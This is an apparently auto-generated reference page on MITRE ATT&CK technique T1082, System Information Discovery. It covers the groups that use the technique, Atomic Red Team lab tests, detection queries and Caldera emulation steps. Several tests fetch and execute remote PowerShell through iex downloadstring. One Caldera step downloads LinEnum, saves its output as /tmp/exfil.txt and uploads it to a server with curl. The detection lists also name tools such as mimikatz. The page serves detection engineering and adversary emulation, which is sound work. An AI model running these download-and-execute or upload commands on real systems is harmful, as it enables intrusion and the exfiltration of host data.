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ATT&CK Technique

System Information Discovery

T1082 · discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).

On ESXi servers, threat actors may gather system information from various esxcli utilities, such as system hostname get and system version get. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.

System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.

ESXiIaaSLinuxmacOSNetwork DevicesWindows
◆

Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
latin_america_brazilian_organized_cybercrimeAmavaldo
north_koreaAndariel
franceAnimal Farm
unknown_likely_russia_alignedAnubis Ransomware
chinaAoqin Dragon
chinaAPT10
chinaAPT17
chinaAPT1
chinaAPT31
iranAPT33
iranOilRig
▸

Atomic Tests

25
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsSystem Information Discovery
Identify System Info. Upon execution, system info and time info will be displayed. 
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
shmacosSystem Information Discovery
Identify System Info 
system_profiler
ls -al /Applications
shlinux, macosList OS Information
Identify System Info 
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
bashelevatedlinuxLinux VM Check via Hardware
Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware. 
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi
bashelevatedlinuxLinux VM Check via Kernel Modules
Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware. 
sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
shlinuxFreeBSD VM Check via Kernel Modules
Identify virtual machine host kernel modules. 
kldstat | grep -i "vmm"
kldstat | grep -i "vbox"
command_promptwindowsHostname Discovery (Windows)
Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. 
hostname
shlinux, macosHostname Discovery
Identify system hostname for FreeBSD, Linux and macOS systems. 
hostname
command_promptwindowsWindows MachineGUID Discovery
Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry. 
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
powershellwindowsGriffon Recon
This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)
cscript "#{vbscript}"
command_promptwindowsEnvironment variables discovery on windows
Identify all environment variables. Upon execution, environments variables and your path info will be displayed. 
set
shlinux, macosEnvironment variables discovery on freebsd, macos and linux
Identify all environment variables. Upon execution, environments variables and your path info will be displayed. 
env
shmacosShow System Integrity Protection status (MacOS)
Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not. 
csrutil status
powershellwindowsWinPwn - winPEAS
Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
powershellwindowsWinPwn - itm4nprivesc
Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
powershellwindowsWinPwn - Powersploits privesc checks
Powersploits privesc checks using oldchecks function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
powershellwindowsWinPwn - General privesc checks
General privesc checks using the otherchecks function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
powershellwindowsWinPwn - GeneralRecon
Collect general computer informations via GeneralRecon function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
powershellwindowsWinPwn - Morerecon
Gathers local system information using the Morerecon function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
powershellwindowsWinPwn - RBCD-Check
Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
powershellwindowsWinPwn - PowerSharpPack - Watson searching for missing windows patches
PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
powershellwindowsWinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
powershellwindowsWinPwn - PowerSharpPack - Seatbelt
PowerSharpPack - Seatbelt technique via function of WinPwn. [Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
powershellelevatedazure-adAzure Security Scan with SkyArk
Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk 
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force      
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred
shlinuxLinux List Kernel Modules
Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present. 
lsmod
kmod list
grep vmw /proc/modules
◈

Detection Coverage

3/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 31
Analytics (MITRE CAR) 2
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) 57
Vuln scan (Nuclei) none
◈

CAR Analytics

2
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2013-04-002Low coverageQuick execution of a series of suspicious commands

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

Commands of interest
  • arp.exe.
  • at.exe.
  • attrib.exe.
  • cscript.exe.
  • dsquery.exe.
  • hostname.exe.
  • ipconfig.exe.
  • mimikatz.exe.
  • nbstat.exe.
  • net.exe.
  • netsh.exe.
  • nslookup.exe.
  • ping.exe.
  • quser.exe.
  • qwinsta.exe.
  • reg.exe.
  • runas.exe.
  • sc.exe.
  • schtasks.exe.
  • ssh.exe.
  • systeminfo.exe.
  • taskkill.exe.
  • telnet.exe.
  • tracert.exe.
  • wscript.exe.
  • xcopy.exe ### Output Description The host on which the commands were executed, the time of execution, and what commands were executed.
pseudocode
processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped
DNIF
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include
LogPoint
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1
CAR-2016-03-001Moderate coverageHost Discovery Commands

When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment.

The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally. Because these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white-or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.

Within the built-in Windows Commands
  • hostname.
  • ipconfig.
  • net.
  • quser.
  • qwinsta.
  • sc with flags query, queryex, qc.
  • systeminfo.
  • tasklist.
  • dsquery.
  • whoami Note dsquery is only pre-existing on Windows servers.
pseudocode
process = search Process:Create
info_command = filter process where (
 exe == "hostname.exe" or
 exe == "ipconfig.exe" or
 exe == "net.exe" or
 exe == "quser.exe" or
 exe == "qwinsta.exe" or
 exe == "sc" and (command_line match " query" or command_line match " qc")) or
 exe == "systeminfo.exe" or
 exe == "tasklist.exe" or
 exe == "whoami.exe"
)
output info_command
Splunk
index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName
EQL
process where subtype.create and
  (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))
LogPoint
norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))
▸

Caldera Emulation

4
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
discoverywindowsFind OS Version
[environment]::OSVersion.Version
discoverydarwin, linuxFind deletable dirs (per user)
find / -type d -user #{host.user.name} \( -perm -g+w -or -perm -o+w \) 2>/dev/null -exec ls -adl {} \;
discoverylinuxLinux Enumeration & Privilege Escalation Discovery Script
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh;
chmod +x LinEnum.sh;
./LinEnum.sh > /tmp/exfil.txt;
curl -F 'data=@/tmp/exfil.txt' #{server}/file/upload ;
cat /tmp/exfil.txt;
discoverywindowsPowerShell version
$PSVersionTable
▣

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